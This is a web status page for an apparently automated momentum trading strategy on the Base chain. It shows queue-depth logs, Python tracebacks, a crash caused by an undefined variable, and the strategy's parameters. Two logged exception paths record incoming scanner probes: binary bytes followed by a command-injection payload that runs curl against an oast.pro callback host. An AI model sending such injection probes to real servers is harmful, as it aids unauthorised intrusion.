All-time high on Base archivedbeta
Momentum strategy buying tokens breaching their all-time highs
Strategy Logs
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b0k6f4p5oakdsz9.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b0gsfy353y64hsi.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.14/site-packages/waitress/channel.py", line 428, in service task.service() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 168, in service self.execute() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) File "/usr/local/lib/python3.14/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) File "/usr/local/lib/python3.14/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1841, in runner return sentry_patched_function(*args, **kwargs) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 135, in sentry_patched_wsgi_call return middleware(environ, start_response) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 134, in __call__ reraise(*_capture_exception()) ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 127, in __call__ response = self.app( environ, ...<2 lines>... ), ) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 129, in sentry_patched_inner_wsgi_call reraise(*einfo) ~~~~~~~^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 125, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 44, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0rw7mrn4118rhk.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0f5ft9ahuphmz3.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines)
File "/usr/local/lib/python3.14/site-packages/waitress/channel.py", line 428, in service task.service() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 168, in service self.execute() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) File "/usr/local/lib/python3.14/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) File "/usr/local/lib/python3.14/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1841, in runner return sentry_patched_function(*args, **kwargs) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 135, in sentry_patched_wsgi_call return middleware(environ, start_response) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 134, in __call__ reraise(*_capture_exception()) ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 127, in __call__ response = self.app( environ, ...<2 lines>... ), ) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 129, in sentry_patched_inner_wsgi_call reraise(*einfo) ~~~~~~~^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 125, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 44, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byteMain loop terminated. Entering to the web server wait mode. Run-time version was:
Trade-executor Docker version: v1244
Commit hash: ff24044d8f4b9d8ded5231d67e1454d573e9f3ed
Commit message: Bump eth_defi
NameError("name 'risk_filtered_pairs_df' is not defined")
Traceback (most recent call last): (9 lines)
File "/usr/src/trade-executor/tradeexecutor/cli/commands/start.py", line 623, in start loop.run_with_state(state) ~~~~~~~~~~~~~~~~~~~^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1580, in run_with_state return self.run_live(state) ~~~~~~~~~~~~~^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1142, in run_live universe = self.warm_up_live_trading() File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 747, in warm_up_live_trading universe = self.universe_model.preload_universe( self.universe_options, ...<2 lines>... strategy_parameters=self.parameters, ) File "/usr/src/trade-executor/tradeexecutor/strategy/trading_strategy_universe.py", line 2027, in preload_universe return preload_data( self.client, ...<4 lines>... execution_model=execution_model, ) File "/usr/src/trade-executor/tradeexecutor/backtest/data_preload.py", line 58, in preload_data return call_create_trading_universe( create_trading_universe, ...<4 lines>... strategy_parameters=strategy_parameters, ) File "/usr/src/trade-executor/tradeexecutor/strategy/pandas_trader/create_universe_wrapper.py", line 55, in call_create_trading_universe return create_trading_universe(input) File "strategy/base-ath.py", line 368, in create_trading_universe difference = set(benchmark_pair_ids).difference(set(risk_filtered_pairs_df["pair_id"])) ^^^^^^^^^^^^^^^^^^^^^^ NameError: name 'risk_filtered_pairs_df' is not defined. Did you mean: 'filtered_pairs_df'?trade-executor base-ath execution loop crashed
The execution state was last saved 2026-02-18 10:41:54
Starting with strategy parameters:
Parameter Value
-------------------------------------- ----------------------------
allocation 0.95
assummed_liquidity_when_data_missings 10000
ath_delay_bars 700
ath_span 60
ath_threshold 1.0
ath_window_bars 150
backtest_end 2025-09-02 00:00:00
backtest_start 2025-02-19 00:00:00
candle_time_bucket TimeBucket.h1
chain_id 8453
cycle_duration CycleDuration.cycle_4h
daily_atr_length 20
directional_trade_yield_buffer_pct 0.01
exchanges ('uniswap-v2', 'uniswap-v3')
id base-ath
individual_rebalance_min_threshold_usd 500.0
initial_cash 100000
max_assets_in_portfolio 10
max_concentration 0.15
min_asset_universe 5
min_from_full_history_ath 0.15
min_portfolio_weight 0.005
min_token_sniffer_score 20
min_tvl 170000
min_tvl_prefilter 170000
min_volume 25000
per_position_cap_of_pool 0.005
required_history_period 1095 days, 0:00:00
rolling_volatility_bars 168
rolling_volume_bars 168
routing TradeRouting.default
sell_rebalance_min_threshold 100.0
sell_threshold 0.05
slippage_tolerance 0.01
tvl_ewm_span 168
use_managed_yield True
vol_bin_filter
vol_bin_filter_lookback 180
vol_bin_level_1_threshold 0.25
yield_flow_dust_threshold 5.0
grid_search False
All-time high on Base (base-ath): trade execution starting
Connected to chain: base, gas pricing method: legacy, providers ['mainnet-sequencer.base.org', 'base-mainnet.g.alchemy.com', 'lb.drpc.org']